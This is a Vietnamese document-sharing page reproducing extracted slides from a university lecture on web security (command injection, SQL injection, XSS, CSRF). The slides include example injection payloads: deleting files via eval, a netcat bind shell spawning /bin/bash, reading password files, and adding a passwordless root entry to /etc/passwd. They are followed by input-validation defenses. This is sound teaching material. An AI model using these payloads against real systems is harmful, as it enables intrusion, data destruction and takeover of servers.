Bài giảng An ninh mạng - Bài 9: An toàn dịch vụ web - SQL injection, XSS, CSRF
Số trang: 31
Loại file: pdf
Dung lượng: 734.96 KB
Lượt xem: 19
Lượt tải: 0
Xem trước 4 trang đầu tiên của tài liệu này:
Thông tin tài liệu:
Bài giảng An ninh mạng - Bài 9: An toàn dịch vụ web - SQL injection, XSS, CSRF. Bài này cung cấp cho sinh viên những nội dung gồm: tổng quan về hoạt động của dịch vụ Web; tấn công dạng Command Injection; SQL Injection; XSS; CSRF; quản lý phiên;... Mời các bạn cùng tham khảo!
Nội dung trích xuất từ tài liệu:
Bài giảng An ninh mạng - Bài 9: An toàn dịch vụ web - SQL injection, XSS, CSRF BÀI 9. AN TOÀN DỊCH VỤ WEB SQL INJECTION, XSS, CSRF Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 1Nội dung• Tổng quan về hoạt động của dịch vụ Web• Tấn công dạng Command Injection• SQL Injection• XSS• CSRF• Quản lý phiên 2 1 1. TẤN CÔNG DẠNG COMMAND INJECTION Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 3Command Injection• Lợi dụng lỗ hổng không kiểm soát giá trị các đối số khi thực thi kịch bản (servlet) trên web server Không phân biệt được dữ liệu và mã nguồn trong đối số• Ví dụ: Website chứa servlet cung cấp tính năng tính toán biểu thức bất kỳ qua hàm eval() … http://site.com/calc.php $in = $_GET[‘exp]; Nội dung biểu thức được truyền eval($ans = . $in . ;); qua đối số exp. Ví dụ: … http://site.com/calc.php?exp=1+1 • Servlet thực thi như thế nào nếu truyền đối số như sau: http://site.com/calc.php?exp=“10 ; system(‘rm *.*’)” 4 2 Command Injection – Ví dụ khác 1. http://site.com/exec/ Client Server 2. Send pagePing for FREEEnter an IP address below: Ô nhập dữ liệu 6 3Command Injection – Ví dụ khác Client Server 2. Send page … $t = $_REQUEST[‘ip]; $o = shell_exec(‘ping –C 3’ . $t); echo $o … PHP exec program 7Command Injection – Ví dụ khác 127.0.0.1;ls Client Server 2. Send page … $t = $_REQUEST[‘ip]; $o = shell_exec(‘ping –C 3’ . $t); echo $o … PHP exec program 8 4Command Injection – Ví dụ khác• Thực thi shell ip=127.0.0.1+%26+netcat+-v+- e+/bin/bash+-l+-p+31337&submit=submit netcat –v –e ‘/bin/bash’ –l –p 31337 9Command Injection – Ví dụ khác• Mã PHP để gửi email: $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”)• Chèn mã thực thi khi truyền giá trị cho đối số: http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls• Hoặc http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh>>/etc/passwd; ls 10 5Phòng chống• Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ Ký tự nào là hợp lệ?Phụ thuộc ngữ cảnh• Làm sạch đầu vào (input sanitization): Xác định các ký tự đặc biệt không nên xuất hiện Thêm dấu ‘’ đặt trước các ký tự đặc biệt Xóa các ký tự đặc biệt Có thể vượt qua như thế nào• Cách tốt hơn: không cho các hàm có quá nhiều quyền thực thi nếu có thể và phân tách tham số cần thiết từ giá trị đầu vào 11Phòng chống – Ví dụ // Get input $target = $_REQUEST[ ip ]; // Split the IP into 4 octects $octet = explode( ., $target ); // Check IF each octet is an integer if((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric((octet[2])) && (is_numeric( $octet[3])) && (sizeof($octet) == 4)) { // If all 4 octets are ints put the IP back together. $target = $octet[0] . . . $octet[1] . . . $octet[2] . . . $octet[3]; //call shell_exec() } else { // Ops. Let the user name theres a mistake $html .= ERROR: You have entered an invalid IP.; } 12 ...
Nội dung trích xuất từ tài liệu:
Bài giảng An ninh mạng - Bài 9: An toàn dịch vụ web - SQL injection, XSS, CSRF BÀI 9. AN TOÀN DỊCH VỤ WEB SQL INJECTION, XSS, CSRF Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 1Nội dung• Tổng quan về hoạt động của dịch vụ Web• Tấn công dạng Command Injection• SQL Injection• XSS• CSRF• Quản lý phiên 2 1 1. TẤN CÔNG DẠNG COMMAND INJECTION Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 3Command Injection• Lợi dụng lỗ hổng không kiểm soát giá trị các đối số khi thực thi kịch bản (servlet) trên web server Không phân biệt được dữ liệu và mã nguồn trong đối số• Ví dụ: Website chứa servlet cung cấp tính năng tính toán biểu thức bất kỳ qua hàm eval() … http://site.com/calc.php $in = $_GET[‘exp]; Nội dung biểu thức được truyền eval($ans = . $in . ;); qua đối số exp. Ví dụ: … http://site.com/calc.php?exp=1+1 • Servlet thực thi như thế nào nếu truyền đối số như sau: http://site.com/calc.php?exp=“10 ; system(‘rm *.*’)” 4 2 Command Injection – Ví dụ khác 1. http://site.com/exec/ Client Server 2. Send pagePing for FREEEnter an IP address below: Ô nhập dữ liệu 6 3Command Injection – Ví dụ khác Client Server 2. Send page … $t = $_REQUEST[‘ip]; $o = shell_exec(‘ping –C 3’ . $t); echo $o … PHP exec program 7Command Injection – Ví dụ khác 127.0.0.1;ls Client Server 2. Send page … $t = $_REQUEST[‘ip]; $o = shell_exec(‘ping –C 3’ . $t); echo $o … PHP exec program 8 4Command Injection – Ví dụ khác• Thực thi shell ip=127.0.0.1+%26+netcat+-v+- e+/bin/bash+-l+-p+31337&submit=submit netcat –v –e ‘/bin/bash’ –l –p 31337 9Command Injection – Ví dụ khác• Mã PHP để gửi email: $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”)• Chèn mã thực thi khi truyền giá trị cho đối số: http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls• Hoặc http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh>>/etc/passwd; ls 10 5Phòng chống• Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ Ký tự nào là hợp lệ?Phụ thuộc ngữ cảnh• Làm sạch đầu vào (input sanitization): Xác định các ký tự đặc biệt không nên xuất hiện Thêm dấu ‘’ đặt trước các ký tự đặc biệt Xóa các ký tự đặc biệt Có thể vượt qua như thế nào• Cách tốt hơn: không cho các hàm có quá nhiều quyền thực thi nếu có thể và phân tách tham số cần thiết từ giá trị đầu vào 11Phòng chống – Ví dụ // Get input $target = $_REQUEST[ ip ]; // Split the IP into 4 octects $octet = explode( ., $target ); // Check IF each octet is an integer if((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric((octet[2])) && (is_numeric( $octet[3])) && (sizeof($octet) == 4)) { // If all 4 octets are ints put the IP back together. $target = $octet[0] . . . $octet[1] . . . $octet[2] . . . $octet[3]; //call shell_exec() } else { // Ops. Let the user name theres a mistake $html .= ERROR: You have entered an invalid IP.; } 12 ...
Tìm kiếm theo từ khóa liên quan:
Bài giảng An ninh mạng An ninh mạng Network Security An toàn dịch vụ web SQL injection Quản lý phiên Truy vấn cơ sở dữ liệuTài liệu có liên quan:
-
78 trang 374 1 0
-
61 trang 324 0 0
-
74 trang 280 4 0
-
Tìm hiểu về chính sách an ninh mạng trong quan hệ quốc tế hiện nay và đối sách của Việt Nam: Phần 1
141 trang 212 0 0 -
Bài thuyết trình: Ecommerce Security - An ninh mạng/ Bảo mật trong thương mại điện tử
35 trang 149 0 0 -
5 trang 132 0 0
-
Đề cương chi tiết học phần An ninh mạng (Network security)
11 trang 121 0 0 -
Luận văn Thạc sĩ Công nghệ thông tin: Tối ưu hóa truy vấn cơ sở dữ liệu hướng đối tượng
80 trang 106 0 0 -
Bài giảng An ninh mạng: Bài 1 - Bùi Trọng Tùng
26 trang 103 0 0 -
Đề cương bài giảng học phần An ninh mạng
6 trang 98 0 0